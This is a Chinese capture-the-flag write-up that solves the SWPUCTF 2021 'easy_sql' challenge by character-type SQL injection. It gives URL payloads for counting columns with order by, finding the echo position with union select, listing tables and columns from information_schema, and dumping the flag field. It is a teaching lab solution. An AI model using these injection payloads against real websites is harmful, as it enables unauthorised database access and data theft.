字符型注入([SWPUCTF 2021 新生赛]easy_sql)

拿到题目,查看源码,可知是要输入参数wllm。

输入参数/?wllm=1,得到会显

继续输入参数/?wllm=1',报错,确定为字符型漏洞

1.查看字段列表,发现在字段4报错,确定为3列

复制代码
?wllm=-1' order by 3--+
?wllm=-1' order by 4--+

2.查看回显

复制代码
?wllm=-1' union select 1,2,3--+

3.查询数据库名(test_db)

复制代码
?wllm=-1' union select 1,2,database()--+

4.查看test_db库的表(users)

复制代码
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

5.查询字段

复制代码
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

6.出现flag字段,查看flag字段的内容

复制代码
/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+ 

出现flag字段,成功解出

相关推荐
RestCloud3 小时前
揭秘 CDC 技术:让数据库同步快人一步
数据库·api
深盾安全4 小时前
ProGuard混淆在Android程序中的应用
安全
CYRUS_STUDIO5 小时前
利用 Linux 信号机制(SIGTRAP)实现 Android 下的反调试
android·安全·逆向
得物技术6 小时前
MySQL单表为何别超2000万行?揭秘B+树与16KB页的生死博弈|得物技术
数据库·后端·mysql
白帽黑客沐瑶10 小时前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
深盾安全10 小时前
符号执行技术实践-求解程序密码
安全
可涵不会debug10 小时前
【IoTDB】时序数据库选型指南:工业大数据场景下的技术突围
数据库·时序数据库
ByteBlossom10 小时前
MySQL 面试场景题之如何处理 BLOB 和CLOB 数据类型?
数据库·mysql·面试
麦兜*10 小时前
MongoDB Atlas 云数据库实战:从零搭建全球多节点集群
java·数据库·spring boot·mongodb·spring·spring cloud